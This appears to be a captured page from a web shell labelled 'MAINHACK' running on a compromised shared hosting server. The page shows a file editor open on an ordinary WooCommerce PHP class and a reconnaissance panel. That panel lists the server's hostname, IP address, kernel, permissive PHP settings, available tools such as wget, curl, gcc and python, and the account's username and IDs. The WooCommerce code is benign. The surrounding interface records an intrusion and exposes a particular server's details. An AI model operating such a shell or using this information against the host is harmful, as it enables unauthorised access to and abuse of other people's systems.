[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AbilitiesClient.php
<?php /** * WooCommerce Abilities API Client (Namespaced Version) * * Simple interface for enabling WordPress Abilities API client scripts. * This version uses WooCommerce's PSR-4 namespace structure. * * @package Automattic\WooCommerce\Internal\AbilitiesApi * @version 10.4.0 */ declare( strict_types=1 ); namespace Automattic\WooCommerce\Internal\AbilitiesApi; /** * AbilitiesClient class. */ class AbilitiesClient { /** * Whether the client has been enabled. * * @var bool */ private static bool $enabled = false; /** * Enable the WordPress Abilities API client for admin pages. * * This is the main method external plugins should use to enable * the abilities API JavaScript client. * * @return bool True if successfully enabled, false otherwise. */ public static function enable(): bool { // Only enable once. if ( self::$enabled ) { return true; } // Hook into admin_enqueue_scripts to enqueue when needed. add_action( 'admin_enqueue_scripts', array( __CLASS__, 'enqueue_for_admin' ) ); self::$enabled = true; return true; } /** * Internal method to handle script enqueueing. */ public static function enqueue_for_admin(): void { // Only enqueue on admin pages. if ( ! is_admin() ) { return; } // Enqueue the script if it's registered. if ( wp_script_is( 'wp-abilities', 'registered' ) ) { wp_enqueue_script( 'wp-abilities' ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.21 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252